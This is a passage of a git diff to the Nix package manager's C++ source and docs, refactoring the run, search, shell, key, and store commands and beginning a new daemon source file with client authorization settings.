concatStringsSep(":", unixPath).c_str(), 1); - - Strings args; - for (auto & arg : command) args.push_back(arg); - - runProgramInStore(store, *command.begin(), args); - } -}; - -static auto rCmdShell = registerCommand("shell"); - -struct CmdRun : InstallableCommand +struct CmdRun : InstallableValueCommand { using InstallableCommand::run; @@ -178,7 +119,7 @@ struct CmdRun : InstallableCommand return res; } - void run(ref store) override + void run(ref store, ref installable) override { auto state = getEvalState(); @@ -188,7 +129,11 @@ struct CmdRun : InstallableCommand Strings allArgs{app.program}; for (auto & i : args) allArgs.push_back(i); - runProgramInStore(store, app.program, allArgs); + // Release our references to eval caches to ensure they are persisted to disk, because + // we are about to exec out of this process without running C++ destructors. + state->evalCaches.clear(); + + execProgramInStore(store, UseLookupPath::DontUse, app.program, allArgs); } }; @@ -199,6 +144,7 @@ void chrootHelper(int argc, char * * argv) int p = 1; std::string storeDir = argv[p++]; std::string realStoreDir = argv[p++]; + std::string system = argv[p++]; std::string cmd = argv[p++]; Strings args; while (p < argc) @@ -224,24 +170,25 @@ void chrootHelper(int argc, char * * argv) if (!pathExists(storeDir)) { // FIXME: Use overlayfs? - Path tmpDir = createTempDir(); + std::filesystem::path tmpDir = createTempDir(); createDirs(tmpDir + storeDir); if (mount(realStoreDir.c_str(), (tmpDir + storeDir).c_str(), "", MS_BIND, 0) == -1) throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir); - for (auto entry : readDirectory("/")) { - auto src = "/" + entry.name; - Path dst = tmpDir + "/" + entry.name; + for (auto entry : std::filesystem::directory_iterator{"/"}) { + checkInterrupt(); + auto src = entry.path(); + Path dst = tmpDir / entry.path().filename(); if (pathExists(dst)) continue; - auto st = lstat(src); - if (S_ISDIR(st.st_mode)) { + auto st = entry.symlink_status(); + if (std::filesystem::is_directory(st)) { if (mkdir(dst.c_str(), 0700) == -1) throw SysError("creating directory '%s'", dst); if (mount(src.c_str(), dst.c_str(), "", MS_BIND | MS_REC, 0) == -1) throw SysError("mounting '%s' on '%s'", src, dst); - } else if (S_ISLNK(st.st_mode)) + } else if (std::filesystem::is_symlink(st)) createSymlink(readLink(src), dst); } @@ -262,6 +209,11 @@ void chrootHelper(int argc, char * * argv) writeFile("/proc/self/uid_map", fmt("%d %d %d", uid, uid, 1)); writeFile("/proc/self/gid_map", fmt("%d %d %d", gid, gid, 1)); +#if __linux__ + if (system != "") + linux::setPersonality(system); +#endif + execvp(cmd.c_str(), stringsToCharPtrs(args).data()); throw SysError("unable to exec '%s'", cmd); diff --git a/src/nix/run.hh b/src/nix/run.hh index 6180a87dd..51517fdc9 100644 --- a/src/nix/run.hh +++ b/src/nix/run.hh @@ -1,11 +1,19 @@ #pragma once +///@file #include "store-api.hh" namespace nix { -void runProgramInStore(ref store, +enum struct UseLookupPath { + Use, + DontUse +}; + +void execProgramInStore(ref store, + UseLookupPath useLookupPath, const std::string & program, - const Strings & args); + const Strings & args, + std::optional system = std::nullopt); } diff --git a/src/nix/run.md b/src/nix/run.md index a0f362076..eb96e6b31 100644 --- a/src/nix/run.md +++ b/src/nix/run.md @@ -35,7 +35,7 @@ R""( # Description -`nix run` builds and runs *installable*, which must evaluate to an +`nix run` builds and runs [*installable*](./nix.md#installables), which must evaluate to an *app* or a regular Nix derivation. If *installable* evaluates to an *app* (see below), it executes the @@ -80,6 +80,7 @@ An app is specified by a flake output attribute named apps.x86_64-linux.blender_2_79 = { type = "app"; program = "${self.packages.x86_64-linux.blender_2_79}/bin/blender"; + meta.description = "Run Blender, a free and open-source 3D creation suite."; }; ``` @@ -90,4 +91,6 @@ The only supported attributes are: * `program` (required): The full path of the executable to run. It must reside in the Nix store. +* `meta.description` (optional): A description of the app. + )"" diff --git a/src/nix/search.cc b/src/nix/search.cc index d2a31607d..c8d0b9e96 100644 --- a/src/nix/search.cc +++ b/src/nix/search.cc @@ -1,7 +1,8 @@ -#include "command.hh" +#include "command-installable-value.hh" #include "globals.hh" #include "eval.hh" #include "eval-inline.hh" +#include "eval-settings.hh" #include "names.hh" #include "get-drvs.hh" #include "common-args.hh" @@ -9,11 +10,14 @@ #include "eval-cache.hh" #include "attr-path.hh" #include "hilite.hh" +#include "strings-inline.hh" #include #include #include +#include "strings.hh" + using namespace nix; using json = nlohmann::json; @@ -22,7 +26,7 @@ std::string wrap(std::string prefix, std::string s) return concatStrings(prefix, s, ANSI_NORMAL); } -struct CmdSearch : InstallableCommand, MixJSON +struct CmdSearch : InstallableValueCommand, MixJSON { std::vector res; std::vector excludeRes; @@ -56,21 +60,19 @@ struct CmdSearch : InstallableCommand, MixJSON Strings getDefaultFlakeAttrPaths() override { return { - "packages." + settings.thisSystem.get() + ".", - "legacyPackages." + settings.thisSystem.get() + "." + "packages." + settings.thisSystem.get(), + "legacyPackages." + settings.thisSystem.get() }; } - void run(ref store) override + void run(ref store, ref installable) override { settings.readOnlyMode = true; evalSettings.enableImportFromDerivation.setDefault(false); - // Empty search string should match all packages - // Use "^" here instead of ".*" due to differences in resulting highlighting - // (see #1893 -- libc++ claims empty search string is not in POSIX grammar) + // Recommend "^" here instead of ".*" due to differences in resulting highlighting if (res.empty()) - res.push_back("^"); + throw UsageError("Must provide at least one regex! To match all packages, use '%s'.", "nix search ^"); std::vector regexes; std::vector excludeRegexes; @@ -196,9 +198,8 @@ struct CmdSearch : InstallableCommand, MixJSON for (auto & cursor : installable->getCursors(*state)) visit(*cursor, cursor->getAttrPath(), true); - if (json) { - std::cout << jsonOut->dump() << std::endl; - } + if (json) + logger->cout("%s", *jsonOut); if (!json && !results) throw Error("no results for the given search term(s)!"); diff --git a/src/nix/search.md b/src/nix/search.md index 5a5b5ae05..f65ac9b17 100644 --- a/src/nix/search.md +++ b/src/nix/search.md @@ -5,7 +5,7 @@ R""( * Show all packages in the `nixpkgs` flake: ```console - # nix search nixpkgs + # nix search nixpkgs ^ * legacyPackages.x86_64-linux.AMB-plugins (0.8.1) A set of ambisonics ladspa plugins @@ -34,7 +34,7 @@ R""( * Show all packages in the flake in the current directory: ```console - # nix search + # nix search . ^ ``` * Search for Firefox or Chromium: @@ -52,23 +52,28 @@ R""( * Search for packages containing `neovim` but hide ones containing either `gui` or `python`: ```console - # nix search nixpkgs neovim -e 'python|gui' + # nix search nixpkgs neovim --exclude 'python|gui' ``` or ```console - # nix search nixpkgs neovim -e 'python' -e 'gui' + # nix search nixpkgs neovim --exclude 'python' --exclude 'gui' ``` # Description -`nix search` searches *installable* (which must be evaluatable, e.g. a -flake) for packages whose name or description matches all of the -regular expressions *regex*. For each matching package, It prints the -full attribute name (from the root of the installable), the version +`nix search` searches [*installable*](./nix.md#installables) (which can be evaluated, that is, a +flake or Nix expression, but not a store path or store derivation path) for packages whose name or description matches all of the +regular expressions *regex*. For each matching package, It prints the +full attribute name (from the root of the [installable](./nix.md#installables)), the version and the `meta.description` field, highlighting the substrings that -were matched by the regular expressions. If no regular expressions are -specified, all packages are shown. +were matched by the regular expressions. + +To show all packages, use the regular expression `^`. In contrast to `.*`, +it avoids highlighting the entire name and description of every package. + +> Note that in this context, `^` is the regex character to match the beginning of a string, *not* the delimiter for +> [selecting a derivation output](@docroot@/command-ref/new-cli/nix.md#derivation-output-selection). # Flake output attributes diff --git a/src/nix/self-exe.cc b/src/nix/self-exe.cc new file mode 100644 index 000000000..a260bafd5 --- /dev/null +++ b/src/nix/self-exe.cc @@ -0,0 +1,38 @@ +#include "current-process.hh" +#include "file-system.hh" +#include "globals.hh" +#include "self-exe.hh" + +namespace nix { + +namespace fs = std::filesystem; + +fs::path getNixBin(std::optional binaryNameOpt) +{ + auto getBinaryName = [&] { return binaryNameOpt ? *binaryNameOpt : "nix"; }; + + // If the environment variable is set, use it unconditionally + if (auto envOpt = getEnvNonEmpty("NIX_BIN_DIR")) + return fs::path{*envOpt} / std::string{getBinaryName()}; + + // Use some-times avaiable OS tricks to get to the path of this Nix, and try that + if (auto selfOpt = getSelfExe()) { + fs::path path{*selfOpt}; + if (binaryNameOpt) + path = path.parent_path() / std::string{*binaryNameOpt}; + if (fs::exists(path)) + return path; + } + + // If `nix` exists at the hardcoded fallback path, use it. + { + auto path = fs::path{NIX_BIN_DIR} / std::string{getBinaryName()}; + if (fs::exists(path)) + return path; + } + + // return just the name, hoping the exe is on the `PATH` + return getBinaryName(); +} + +} diff --git a/src/nix/self-exe.hh b/src/nix/self-exe.hh new file mode 100644 index 000000000..0772afa67 --- /dev/null +++ b/src/nix/self-exe.hh @@ -0,0 +1,31 @@ +#pragma once +///@file + +#include + +namespace nix { + +/** + * Get a path to the given Nix binary. + * + * Normally, nix is installed according to `NIX_BIN_DIR`, which is set + * at compile time, but can be overridden. + * + * However, it may not have been installed at all. For example, if it's + * a static build, there's a good chance that it has been moved out of + * its installation directory. That makes `NIX_BIN_DIR` useless. + * Instead, we'll query the OS for the path to the current executable, + * using `getSelfExe()`. + * + * As a last resort, we resort to `PATH`. Hopefully we find a `nix` + * there that's compatible. If you're porting Nix to a new platform, + * that might be good enough for a while, but you'll want to improve + * `getSelfExe()` to work on your platform. + * + * @param binary_name the exact binary name we're looking up. Might be + * `nix-*` instead of `nix` for the legacy CLI commands. Optional to use + * current binary name. + */ +std::filesystem::path getNixBin(std::optional binary_name = {}); + +} diff --git a/src/nix/shell.md b/src/nix/shell.md index 9fa1031f5..7c315fb3f 100644 --- a/src/nix/shell.md +++ b/src/nix/shell.md @@ -19,26 +19,26 @@ R""( * Run GNU Hello: ```console - # nix shell nixpkgs#hello -c hello --greeting 'Hi everybody!' + # nix shell nixpkgs#hello --command hello --greeting 'Hi everybody!' Hi everybody! ``` * Run multiple commands in a shell environment: ```console - # nix shell nixpkgs#gnumake -c sh -c "cd src && make" + # nix shell nixpkgs#gnumake --command sh -c "cd src && make" ``` * Run GNU Hello in a chroot store: ```console - # nix shell --store ~/my-nix nixpkgs#hello -c hello + # nix shell --store ~/my-nix nixpkgs#hello --command hello ``` * Start a shell providing GNU Hello in a chroot store: ```console - # nix shell --store ~/my-nix nixpkgs#hello nixpkgs#bashInteractive -c bash + # nix shell --store ~/my-nix nixpkgs#hello nixpkgs#bashInteractive --command bash ``` Note that it's necessary to specify `bash` explicitly because your @@ -48,7 +48,123 @@ R""( # Description `nix shell` runs a command in an environment in which the `$PATH` variable -provides the specified *installables*. If no command is specified, it starts the +provides the specified [*installables*](./nix.md#installable). If no command is specified, it starts the default shell of your user account specified by `$SHELL`. +# Use as a `#!`-interpreter + +You can use `nix` as a script interpreter to allow scripts written +in arbitrary languages to obtain their own dependencies via Nix. This is +done by starting the script with the following lines: + +```bash +#! /usr/bin/env nix +#! nix shell installables --command real-interpreter +``` + +where *real-interpreter* is the “real” script interpreter that will be +invoked by `nix shell` after it has obtained the dependencies and +initialised the environment, and *installables* are the attribute names of +the dependencies in Nixpkgs. + +The lines starting with `#! nix` specify options (see above). Note that you +cannot write `#! /usr/bin/env nix shell -i ...` because many operating systems +only allow one argument in `#!` lines. + +For example, here is a Python script that depends on Python and the +`prettytable` package: + +```python +#! /usr/bin/env nix +#! nix shell github:tomberek/-#python3With.prettytable --command python + +import prettytable + +# Print a simple table. +t = prettytable.PrettyTable(["N", "N^2"]) +for n in range(1, 10): t.add_row([n, n * n]) +print t +``` + +Similarly, the following is a Perl script that specifies that it +requires Perl and the `HTML::TokeParser::Simple` and `LWP` packages: + +```perl +#! /usr/bin/env nix +#! nix shell github:tomberek/-#perlWith.HTMLTokeParserSimple.LWP --command perl -x + +use HTML::TokeParser::Simple; + +# Fetch nixos.org and print all hrefs. +my $p = HTML::TokeParser::Simple->new(url => 'http://nixos.org/'); + +while (my $token = $p->get_tag("a")) { + my $href = $token->get_attr("href"); + print "$href\n" if $href; +} +``` + +Sometimes you need to pass a simple Nix expression to customize a +package like Terraform: + +```bash +#! /usr/bin/env nix +#! nix shell --impure --expr `` +#! nix with (import (builtins.getFlake ''nixpkgs'') {}); +#! nix terraform.withPlugins (plugins: [ plugins.openstack ]) +#! nix `` +#! nix --command bash + +terraform "$@" +``` + +> **Note** +> +> You must use double backticks (```` `` ````) when passing a simple Nix expression +> in a nix shell shebang. + +Finally, using the merging of multiple nix shell shebangs the following +Haskell script uses a specific branch of Nixpkgs/NixOS (the 21.11 stable +branch): + +```haskell +#!/usr/bin/env nix +#!nix shell --override-input nixpkgs github:NixOS/nixpkgs/nixos-21.11 +#!nix github:tomberek/-#haskellWith.download-curl.tagsoup --command runghc + +import Network.Curl.Download +import Text.HTML.TagSoup +import Data.Either +import Data.ByteString.Char8 (unpack) + +-- Fetch nixos.org and print all hrefs. +main = do + resp <- openURI "https://nixos.org/" + let tags = filter (isTagOpenName "a") $ parseTags $ unpack $ fromRight undefined resp + let tags' = map (fromAttrib "href") tags + mapM_ putStrLn $ filter (/= "") tags' +``` + +If you want to be even more precise, you can specify a specific revision +of Nixpkgs: + + #!nix shell --override-input nixpkgs github:NixOS/nixpkgs/eabc38219184cc3e04a974fe31857d8e0eac098d + +You can also use a Nix expression to build your own dependencies. For example, +the Python example could have been written as: + +```python +#! /usr/bin/env nix +#! nix shell --impure --file deps.nix -i python +``` + +where the file `deps.nix` in the same directory as the `#!`-script +contains: + +```nix +with import {}; +python3.withPackages (ps: with ps; [ prettytable ]) +``` + + )"" diff --git a/src/nix/show-config.cc b/src/nix/show-config.cc deleted file mode 100644 index 29944e748..000000000 --- a/src/nix/show-config.cc +++ /dev/null @@ -1,30 +0,0 @@ -#include "command.hh" -#include "common-args.hh" -#include "shared.hh" -#include "store-api.hh" - -#include - -using namespace nix; - -struct CmdShowConfig : Command, MixJSON -{ - std::string description() override - { - return "show the Nix configuration"; - } - - Category category() override { return catUtility; } - - void run() override - { - if (json) { - // FIXME: use appropriate JSON types (bool, ints, etc). - logger->cout("%s", globalConfig.toJSON().dump()); - } else { - logger->cout("%s", globalConfig.toKeyValue()); - } - } -}; - -static auto rShowConfig = registerCommand("show-config"); diff --git a/src/nix/show-derivation.cc b/src/nix/show-derivation.cc deleted file mode 100644 index af2e676a4..000000000 --- a/src/nix/show-derivation.cc +++ /dev/null @@ -1,112 +0,0 @@ -// FIXME: integrate this with nix path-info? -// FIXME: rename to 'nix store show-derivation' or 'nix debug show-derivation'? - -#include "command.hh" -#include "common-args.hh" -#include "store-api.hh" -#include "archive.hh" -#include "derivations.hh" -#include - -using namespace nix; -using json = nlohmann::json; - -struct CmdShowDerivation : InstallablesCommand -{ - bool recursive = false; - - CmdShowDerivation() - { - addFlag({ - .longName = "recursive", - .shortName = 'r', - .description = "Include the dependencies of the specified derivations.", - .handler = {&recursive, true} - }); - } - - std::string description() override - { - return "show the contents of a store derivation"; - } - - std::string doc() override - { - return - #include "show-derivation.md" - ; - } - - Category category() override { return catUtility; } - - void run(ref store) override - { - auto drvPaths = Installable::toDerivations(store, installables, true); - - if (recursive) { - StorePathSet closure; - store->computeFSClosure(drvPaths, closure); - drvPaths = std::move(closure); - } - - json jsonRoot = json::object(); - - for (auto & drvPath : drvPaths) { - if (!drvPath.isDerivation()) continue; - - json& drvObj = jsonRoot[store->printStorePath(drvPath)]; - - auto drv = store->readDerivation(drvPath); - - { - json& outputsObj = drvObj["outputs"]; - outputsObj = json::object(); - for (auto & [_outputName, output] : drv.outputs) { - auto & outputName = _outputName; // work around clang bug - auto& outputObj = outputsObj[outputName]; - outputObj = json::object(); - std::visit(overloaded { - [&](const DerivationOutput::InputAddressed & doi) { - outputObj["path"] = store->printStorePath(doi.path); - }, - [&](const DerivationOutput::CAFixed & dof) { - outputObj["path"] = store->printStorePath(dof.path(*store, drv.name, outputName)); - outputObj["hashAlgo"] = dof.hash.printMethodAlgo(); - outputObj["hash"] = dof.hash.hash.to_string(Base16, false); - }, - [&](const DerivationOutput::CAFloating & dof) { - outputObj["hashAlgo"] = makeFileIngestionPrefix(dof.method) + printHashType(dof.hashType); - }, - [&](const DerivationOutput::Deferred &) {}, - [&](const DerivationOutput::Impure & doi) { - outputObj["hashAlgo"] = makeFileIngestionPrefix(doi.method) + printHashType(doi.hashType); - outputObj["impure"] = true; - }, - }, output.raw()); - } - } - - { - auto& inputsList = drvObj["inputSrcs"]; - inputsList = json::array(); - for (auto & input : drv.inputSrcs) - inputsList.emplace_back(store->printStorePath(input)); - } - - { - auto& inputDrvsObj = drvObj["inputDrvs"]; - inputDrvsObj = json::object(); - for (auto & input : drv.inputDrvs) - inputDrvsObj[store->printStorePath(input.first)] = input.second; - } - - drvObj["system"] = drv.platform; - drvObj["builder"] = drv.builder; - drvObj["args"] = drv.args; - drvObj["env"] = drv.env; - } - std::cout << jsonRoot.dump(2) << std::endl; - } -}; - -static auto rCmdShowDerivation = registerCommand("show-derivation"); diff --git a/src/nix/show-derivation.md b/src/nix/show-derivation.md deleted file mode 100644 index aa863899c..000000000 --- a/src/nix/show-derivation.md +++ /dev/null @@ -1,103 +0,0 @@ -R""( - -# Examples - -* Show the store derivation that results from evaluating the Hello - package: - - ```console - # nix show-derivation nixpkgs#hello - { - "/nix/store/s6rn4jz1sin56rf4qj5b5v8jxjm32hlk-hello-2.10.drv": { - … - } - } - ``` - -* Show the full derivation graph (if available) that produced your - NixOS system: - - ```console - # nix show-derivation -r /run/current-system - ``` - -* Print all files fetched using `fetchurl` by Firefox's dependency - graph: - - ```console - # nix show-derivation -r nixpkgs#firefox \ - | jq -r '.[] | select(.outputs.out.hash and .env.urls) | .env.urls' \ - | uniq | sort - ``` - - Note that `.outputs.out.hash` selects *fixed-output derivations* - (derivations that produce output with a specified content hash), - while `.env.urls` selects derivations with a `urls` attribute. - -# Description - -This command prints on standard output a JSON representation of the -store derivations to which *installables* evaluate. Store derivations -are used internally by Nix. They are store paths with extension `.drv` -that represent the build-time dependency graph to which a Nix -expression evaluates. - -By default, this command only shows top-level derivations, but with -`--recursive`, it also shows their dependencies. - -The JSON output is a JSON object whose keys are the store paths of the -derivations, and whose values are a JSON object with the following -fields: - -* `outputs`: Information about the output paths of the - derivation. This is a JSON object with one member per output, where - the key is the output name and the value is a JSON object with these - fields: - - * `path`: The output path. - * `hashAlgo`: For fixed-output derivations, the hashing algorithm - (e.g. `sha256`), optionally prefixed by `r:` if `hash` denotes a - NAR hash rather than a flat file hash. - * `hash`: For fixed-output derivations, the expected content hash in - base-16. - - Example: - - ```json - "outputs": { - "out": { - "path": "/nix/store/2543j7c6jn75blc3drf4g5vhb1rhdq29-source", - "hashAlgo": "r:sha256", - "hash": "6fc80dcc62179dbc12fc0b5881275898f93444833d21b89dfe5f7fbcbb1d0d62" - } - } - ``` - -* `inputSrcs`: A list of store paths on which this derivation depends. - -* `inputDrvs`: A JSON object specifying the derivations on which this - derivation depends, and what outputs of those derivations. For - example, - - ```json - "inputDrvs": { - "/nix/store/6lkh5yi7nlb7l6dr8fljlli5zfd9hq58-curl-7.73.0.drv": ["dev"], - "/nix/store/fn3kgnfzl5dzym26j8g907gq3kbm8bfh-unzip-6.0.drv": ["out"] - } - ``` - - specifies that this derivation depends on the `dev` output of - `curl`, and the `out` output of `unzip`. - -* `system`: The system type on which this derivation is to be built - (e.g. `x86_64-linux`). - -* `builder`: The absolute path of the program to be executed to run - the build. Typically this is the `bash` shell - (e.g. `/nix/store/r3j288vpmczbl500w6zz89gyfa4nr0b1-bash-4.4-p23/bin/bash`). - -* `args`: The command-line arguments passed to the `builder`. - -* `env`: The environment passed to the `builder`. - -)"" diff --git a/src/nix/sigs.cc b/src/nix/sigs.cc index 3d659d6d2..1e277cbbe 100644 --- a/src/nix/sigs.cc +++ b/src/nix/sigs.cc @@ -1,7 +1,9 @@ +#include "signals.hh" #include "command.hh" #include "shared.hh" #include "store-api.hh" #include "thread-pool.hh" +#include "progress-bar.hh" #include @@ -45,7 +47,7 @@ struct CmdCopySigs : StorePathsCommand //logger->setExpected(doneLabel, storePaths.size()); auto doPath = [&](const Path & storePathS) { - //Activity act(*logger, lvlInfo, format("getting signatures for '%s'") % storePath); + //Activity act(*logger, lvlInfo, "getting signatures for '%s'", storePath); checkInterrupt(); @@ -110,7 +112,7 @@ struct CmdSign : StorePathsCommand std::string description() override { - return "sign store paths"; + return "sign store paths with a local key"; } void run(ref store, StorePaths && storePaths) override @@ -119,6 +121,7 @@ struct CmdSign : StorePathsCommand throw UsageError("you must specify a secret key file using '-k'"); SecretKey secretKey(readFile(secretKeyFile)); + LocalSigner signer(std::move(secretKey)); size_t added{0}; @@ -127,7 +130,7 @@ struct CmdSign : StorePathsCommand auto info2(*info); info2.sigs.clear(); - info2.sign(*store, secretKey); + info2.sign(*store, signer); assert(!info2.sigs.empty()); if (!info->sigs.count(*info2.sigs.begin())) { @@ -173,7 +176,8 @@ struct CmdKeyGenerateSecret : Command if (!keyName) throw UsageError("required argument '--key-name' is missing"); - std::cout << SecretKey::generate(*keyName).to_string(); + stopProgressBar(); + writeFull(getStandardOut(), SecretKey::generate(*keyName).to_string()); } }; @@ -194,14 +198,17 @@ struct CmdKeyConvertSecretToPublic : Command void run() override { SecretKey secretKey(drainFD(STDIN_FILENO)); - std::cout << secretKey.toPublicKey().to_string(); + stopProgressBar(); + writeFull(getStandardOut(), secretKey.toPublicKey().to_string()); } }; struct CmdKey : NixMultiCommand { CmdKey() - : MultiCommand({ + : NixMultiCommand( + "key", + { {"generate-secret", []() { return make_ref(); }}, {"convert-secret-to-public", []() { return make_ref(); }}, }) @@ -214,14 +221,6 @@ struct CmdKey : NixMultiCommand } Category category() override { return catUtility; } - - void run() override - { - if (!command) - throw UsageError("'nix key' requires a sub-command."); - command->second->prepare(); - command->second->run(); - } }; static auto rCmdKey = registerCommand("key"); diff --git a/src/nix/store-copy-log.cc b/src/nix/store-copy-log.cc index 2e288f743..a6e8aeff7 100644 --- a/src/nix/store-copy-log.cc +++ b/src/nix/store-copy-log.cc @@ -24,22 +24,14 @@ struct CmdCopyLog : virtual CopyCommand, virtual InstallablesCommand ; } - Category category() override { return catUtility; } - - void run(ref srcStore) override + void run(ref srcStore, Installables && installables) override { auto & srcLogStore = require(*srcStore); auto dstStore = getDstStore(); auto & dstLogStore = require(*dstStore); - StorePathSet drvPaths; - - for (auto & i : installables) - for (auto & drvPath : i->toDrvPaths(getEvalStore())) - drvPaths.insert(drvPath); - - for (auto & drvPath : drvPaths) { + for (auto & drvPath : Installable::toDerivations(getEvalStore(), installables, true)) { if (auto log = srcLogStore.getBuildLog(drvPath)) dstLogStore.addBuildLog(drvPath, *log); else diff --git a/src/nix/store-copy-log.md b/src/nix/store-copy-log.md index 19ae57079..61daa75c1 100644 --- a/src/nix/store-copy-log.md +++ b/src/nix/store-copy-log.md @@ -18,7 +18,9 @@ R""( (The flag `--substituters ''` avoids querying `https://cache.nixos.org` for the log.) -* To copy the log for a specific store derivation via SSH: +* To copy the log for a specific [store derivation] via SSH: + + [store derivation]: @docroot@/glossary.md#gloss-store-derivation ```console # nix store copy-log --to ssh-ng://machine /nix/store/ilgm50plpmcgjhcp33z6n4qbnpqfhxym-glibc-2.33-59.drv diff --git a/src/nix/store-delete.cc b/src/nix/store-delete.cc index ca43f1530..6719227df 100644 --- a/src/nix/store-delete.cc +++ b/src/nix/store-delete.cc @@ -32,7 +32,7 @@ struct CmdStoreDelete : StorePathsCommand ; } - void run(ref store, std::vector && storePaths) override + void run(ref store, StorePaths && storePaths) override { auto & gcStore = require(*store); diff --git a/src/nix/store-delete.md b/src/nix/store-delete.md index db535f87c..431bc5f5e 100644 --- a/src/nix/store-delete.md +++ b/src/nix/store-delete.md @@ -10,7 +10,7 @@ R""( # Description -This command deletes the store paths specified by *installables*. , +This command deletes the store paths specified by [*installables*](./nix.md#installables), but only if it is safe to do so; that is, when the path is not reachable from a root of the garbage collector. This means that you can only delete paths that would also be deleted by `nix store diff --git a/src/nix/store-dump-path.md b/src/nix/store-dump-path.md index 4ef563526..21467ff32 100644 --- a/src/nix/store-dump-path.md +++ b/src/nix/store-dump-path.md @@ -17,7 +17,9 @@ R""( # Description -This command generates a NAR file containing the serialisation of the -store path *installable*. The NAR is written to standard output. +This command generates a [Nix Archive (NAR)][Nix Archive] file containing the serialisation of the +store path [*installable*](./nix.md#installables). The NAR is written to standard output. + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive )"" diff --git a/src/nix/store-info.cc b/src/nix/store-info.cc new file mode 100644 index 000000000..a7c595761 --- /dev/null +++ b/src/nix/store-info.cc @@ -0,0 +1,60 @@ +#include "command.hh" +#include "shared.hh" +#include "store-api.hh" +#include "finally.hh" + +#include + +using namespace nix; + +struct CmdPingStore : StoreCommand, MixJSON +{ + std::string description() override + { + return "test whether a store can be accessed"; + } + + std::string doc() override + { + return + #include "store-info.md" + ; + } + + void run(ref store) override + { + if (!json) { + notice("Store URL: %s", store->getUri()); + store->connect(); + if (auto version = store->getVersion()) + notice("Version: %s", *version); + if (auto trusted = store->isTrustedClient()) + notice("Trusted: %s", *trusted); + } else { + nlohmann::json res; + Finally printRes([&]() { + logger->cout("%s", res); + }); + + res["url"] = store->getUri(); + store->connect(); + if (auto version = store->getVersion()) + res["version"] = *version; + if (auto trusted = store->isTrustedClient()) + res["trusted"] = *trusted; + } + } +}; + +struct CmdInfoStore : CmdPingStore +{ + void run(nix::ref store) override + { + warn("'nix store ping' is a deprecated alias for 'nix store info'"); + CmdPingStore::run(store); + } +}; + + +static auto rCmdPingStore = registerCommand2({"store", "info"}); +static auto rCmdInfoStore = registerCommand2({"store", "ping"}); diff --git a/src/nix/ping-store.md b/src/nix/store-info.md similarity index 82% rename from src/nix/ping-store.md rename to src/nix/store-info.md index 8c846791b..f86efd722 100644 --- a/src/nix/ping-store.md +++ b/src/nix/store-info.md @@ -5,19 +5,19 @@ R""( * Test whether connecting to a remote Nix store via SSH works: ```console - # nix store ping --store ssh://mac1 + # nix store info --store ssh://mac1 ``` * Test whether a URL is a valid binary cache: ```console - # nix store ping --store https://cache.nixos.org + # nix store info --store https://cache.nixos.org ``` * Test whether the Nix daemon is up and running: ```console - # nix store ping --store daemon + # nix store info --store daemon ``` # Description diff --git a/src/nix/store-ls.md b/src/nix/store-ls.md index 836efce42..14c4627c9 100644 --- a/src/nix/store-ls.md +++ b/src/nix/store-ls.md @@ -5,7 +5,7 @@ R""( * To list the contents of a store path in a binary cache: ```console - # nix store ls --store https://cache.nixos.org/ -lR /nix/store/0i2jd68mp5g6h2sa5k9c85rb80sn8hi9-hello-2.10 + # nix store ls --store https://cache.nixos.org/ --long --recursive /nix/store/0i2jd68mp5g6h2sa5k9c85rb80sn8hi9-hello-2.10 dr-xr-xr-x 0 ./bin -r-xr-xr-x 38184 ./bin/hello dr-xr-xr-x 0 ./share @@ -15,7 +15,7 @@ R""( * To show information about a specific file in a binary cache: ```console - # nix store ls --store https://cache.nixos.org/ -l /nix/store/0i2jd68mp5g6h2sa5k9c85rb80sn8hi9-hello-2.10/bin/hello + # nix store ls --store https://cache.nixos.org/ --long /nix/store/0i2jd68mp5g6h2sa5k9c85rb80sn8hi9-hello-2.10/bin/hello -r-xr-xr-x 38184 hello ``` diff --git a/src/nix/store-repair.cc b/src/nix/store-repair.cc index 8fcb3639a..895e39685 100644 --- a/src/nix/store-repair.cc +++ b/src/nix/store-repair.cc @@ -17,7 +17,7 @@ struct CmdStoreRepair : StorePathsCommand ; } - void run(ref store, std::vector && storePaths) override + void run(ref store, StorePaths && storePaths) override { for (auto & path : storePaths) store->repairPath(path); diff --git a/src/nix/store-repair.md b/src/nix/store-repair.md index 92d2205a9..180c577ac 100644 --- a/src/nix/store-repair.md +++ b/src/nix/store-repair.md @@ -17,7 +17,7 @@ R""( # Description This command attempts to "repair" the store paths specified by -*installables* by redownloading them using the available +[*installables*](./nix.md#installables) by redownloading them using the available substituters. If no substitutes are available, then repair is not possible. diff --git a/src/nix/store.cc b/src/nix/store.cc index 44e53c7c7..79b41e096 100644 --- a/src/nix/store.cc +++ b/src/nix/store.cc @@ -2,9 +2,9 @@ using namespace nix; -struct CmdStore : virtual NixMultiCommand +struct CmdStore : NixMultiCommand { - CmdStore() : MultiCommand(RegisterCommand::getCommandsFor({"store"})) + CmdStore() : NixMultiCommand("store", RegisterCommand::getCommandsFor({"store"})) { } std::string description() override @@ -13,14 +13,6 @@ struct CmdStore : virtual NixMultiCommand } Category category() override { return catUtility; } - - void run() override - { - if (!command) - throw UsageError("'nix store' requires a sub-command."); - command->second->prepare(); - command->second->run(); - } }; static auto rCmdStore = registerCommand("store"); diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc new file mode 100644 index 000000000..66d8dbcf0 --- /dev/null +++ b/src/nix/unix/daemon.cc @@ -0,0 +1,598 @@ +///@file + +#include "signals.hh" +#include "unix-domain-socket.hh" +#include "command.hh" +#include "shared.hh" +#include "local-store.hh" +#include "remote-store.hh" +#include "remote-store-connection.hh" +#include "serialise.hh" +#include "archive.hh" +#include "globals.hh" +#include "config-global.hh" +#include "derivations.hh" +#include "finally.hh" +#include "legacy.hh" +#include "daemon.hh" + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if __APPLE__ || __FreeBSD__ +#include +#endif + +using namespace nix; +using namespace nix::daemon; + +/** + * Settings related to authenticating clients for the Nix daemon. + * + * For pipes we have little good information about the client side, but + * for Unix domain sockets we do. So currently these options implemented + * mandatory access control based on user names and group names (looked + * up and translated to UID/GIDs in the CLI process that runs the code + * in this file). + * + * No code outside of this file knows about these settings (this is not + * exposed in a header); all authentication and authorization happens in + * `daemon.cc`. + */ +struct AuthorizationSettings : Config { + + Setting trustedUsers{ + this, {"root"}, "trusted-users", + R"( + A list of user names, separated by whitespace. + These users will have additional rights when connecting to the Nix daemon, such as the ability to specify additional [substituters](#conf-substituters), or to import unsigned realisations or unsigned input-addressed store objects. + + You can also specify groups by prefixing names with `@`. + For instance, 